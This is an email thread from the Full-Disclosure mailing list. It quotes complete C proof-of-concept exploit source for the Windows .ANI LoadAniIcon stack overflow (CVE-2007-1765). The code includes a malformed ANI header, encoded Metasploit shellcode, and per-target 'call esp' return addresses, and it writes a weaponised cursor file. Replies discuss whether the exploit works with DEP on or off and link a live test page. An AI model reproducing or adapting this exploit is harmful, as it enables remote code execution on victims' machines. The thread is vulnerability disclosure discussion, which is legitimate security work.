The issue is that this only works with DEP turned off!<br><br><div><span class="gmail_quote">On 3/31/07, <b class="gmail_sendername">dev code</b> <<a href="mailto:devcode29@hotmail.com">devcode29@hotmail.com</a>> wrote:
</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">I didn't include the DoS version of this, it just calls ExitProcess(). If<br>you have SP2, you can try going to
<a href="http://sicotik.com/ink/test.html">http://sicotik.com/ink/test.html</a>. Thanks.<br><br>>From: wac <<a href="mailto:waldoalvarez00@gmail.com">waldoalvarez00@gmail.com</a>><br>>To: "dev code" <
<a href="mailto:devcode29@hotmail.com">devcode29@hotmail.com</a>><br>>CC: <a href="mailto:full-disclosure@lists.grok.org.uk">full-disclosure@lists.grok.org.uk</a><br>>Subject: Re: [Full-disclosure] Windows .ANI LoadAniIcon Stack Overflow
<br>>Date: Sat, 31 Mar 2007 06:53:34 -0500<br>><br>>Hello:<br>><br>>Does this works in *fully patched* XP pro + SP2? Mine seems to be totally<br>>immune (not even crashing). XP Pro + SP2 + 0 patches crashes (probably
<br>>landing somewhere else in memory).<br>><br>><br>>On 3/30/07, dev code <<a href="mailto:devcode29@hotmail.com">devcode29@hotmail.com</a>> wrote:<br>>><br>>>/*<br>>>* Copyright (c) 2007 devcode
<br>>>*<br>>>*<br>>>* ^^ D E V C O D E ^^<br>>>*<br>>>* Windows .ANI LoadAniIcon Stack Overflow<br>>>* [CVE-2007-1765]<br>>>*<br>>>*<br>>>* Description:
<br>>>* A vulnerability has been identified in Microsoft Windows,<br>>>* which could be exploited by remote attackers to take complete<br>>>* control of an affected system. This issue is due to a stack
<br>>>overflow<br>>>* error within the "LoadAniIcon()" [user32.dll] function when rendering<br>>>* cursors, animated cursors or icons with a malformed header, which<br>>>could<br>>>* be exploited by remote attackers to execute arbitrary commands
<br>>>by<br>>>* tricking a user into visiting a malicious web page or viewing an<br>>>email<br>>>* message containing a specially crafted ANI file.<br>>>*<br>>>* Hotfix/Patch:<br>
>>* None as of this time.<br>>>*<br>>>* Vulnerable systems:<br>>>* Microsoft Windows 2000 Service Pack 4<br>>>* Microsoft Windows XP Service Pack 2<br>>>* Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
<br>>>* Microsoft Windows XP Professional x64 Edition<br>>>* Microsoft Windows Server 2003<br>>>* Microsoft Windows Server 2003 (Itanium)<br>>>* Microsoft Windows Server 2003 Service Pack 1
<br>>>* Microsoft Windows Server 2003 Service Pack 1 (Itanium)<br>>>* Microsoft Windows Server 2003 x64 Edition<br>>>* Microsoft Windows Vista<br>>>*<br>>>* Microsoft Internet Explorer 6
<br>>>* Microsoft Internet Explorer 7<br>>>*<br>>>* This is a PoC and was created for educational purposes only. The<br>>>* author is not held responsible if this PoC does not work or is
<br>>>* used for any other purposes than the one stated above.<br>>>*<br>>>* Notes:<br>>>* For this to work on XP SP2 on explorer.exe, DEP has to be turned<br>>>* off.
<br>>>*<br>>>*/<br>>>#include <iostream><br>>><br>>>/* ANI Header */<br>>>unsigned char uszAniHeader[] =<br>>>"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
<br>>>"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"<br>>>"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"<br>>>"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
<br>>>"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"<br>>>"\x61\x6E\x69\x68\xA8\x03\x00\x00";<br>>><br>>>/* Shellcode - metasploit exec calc.exe ^^ */<br>>>unsigned char uszShellcode[] =
<br>>>"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"<br>>>"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"<br>>>"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
<br>>>"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"<br>>>"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"<br>>>"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
<br>>>"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"<br>>>"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"<br>>>"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
<br>>>"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"<br>>>"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"<br>>>"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
<br>>>"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"<br>>>"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"<br>>>"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
<br>>>"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"<br>>>"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"<br>>>"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
<br>>>"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"<br>>>"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"<br>>>"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";
<br>>><br>>>char szIntro[] =<br>>>"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"<br>>>"\t\t\tdevcode (c) 2007\n"<br>>>"[+] Targets:\n"<br>>>"\tWindows XP SP2 [0]\n"
<br>>>"\tWindows 2K SP4 [1]\n\n"<br>>>"Usage: ani.exe <target> <file>";<br>>><br>>>typedef struct {<br>>> const char *szTarget;<br>>> unsigned char uszRet[5];
<br>>>} TARGET;<br>>><br>>>TARGET targets[] = {<br>>> { "Windows XP SP2", "\xC9\x29\xD4\x77" }, /* call esp */<br>>> { "Windows 2K SP4", "\x29\x4C\xE1\x77" }
<br>>>};<br>>><br>>>int main( int argc, char **argv ) {<br>>> char szBuffer[1024];<br>>> FILE *f;<br>>><br>>> if ( argc < 3 ) {<br>>> printf("%s\n", szIntro );
<br>>> return 0;<br>>> }<br>>><br>>> printf("[+] Creating ANI header...\n");<br>>> memset( szBuffer, 0x90, sizeof( szBuffer ) );<br>>> memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );
<br>>><br>>> printf("[+] Copying shellcode...\n");<br>>> memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );<br>>> memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1
<br>>>);<br>>><br>>> printf("%s\n", argv[2] );<br>>> f = fopen( argv[2], "wb" );<br>>> if ( f == NULL ) {<br>>> printf("[-] Cannot create file\n");
<br>>> return 0;<br>>> }<br>>><br>>> fwrite( szBuffer, 1, 1024, f );<br>>> fclose( f );<br>>> printf("[+] .ANI file succesfully created!\n");
<br>>> return 0;<br>>>}<br>>><br>>>_________________________________________________________________<br>>>Interest Rates near 39yr lows! $430,000 Mortgage for $1,399/mo - Calculate<br>
>>new payment<br>>><br>>><a href="http://www.lowermybills.com/lre/index.jsp?sourceid=lmb-9632-18466&moid=7581">http://www.lowermybills.com/lre/index.jsp?sourceid=lmb-9632-18466&moid=7581</a><br>>>
<br>>>_______________________________________________<br>>>Full-Disclosure - We believe in it.<br>>>Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html
</a><br>>>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a><br>>><br><br>_________________________________________________________________<br>Live Search Maps – find all the local information you need, right when you
<br>need it. <a href="http://maps.live.com/?icid=hmtag2&FORM=MGAC01">http://maps.live.com/?icid=hmtag2&FORM=MGAC01</a><br><br>_______________________________________________<br>Full-Disclosure - We believe in it.<br>
Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html</a><br>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a>
<br><br></blockquote></div><br><br clear="all"><br>-- <br><a href="http://www.goldwatches.com/watches.asp?Brand=39">http://www.goldwatches.com/watches.asp?Brand=39</a><br><a href="http://www.wazoozle.com">http://www.wazoozle.com
</a>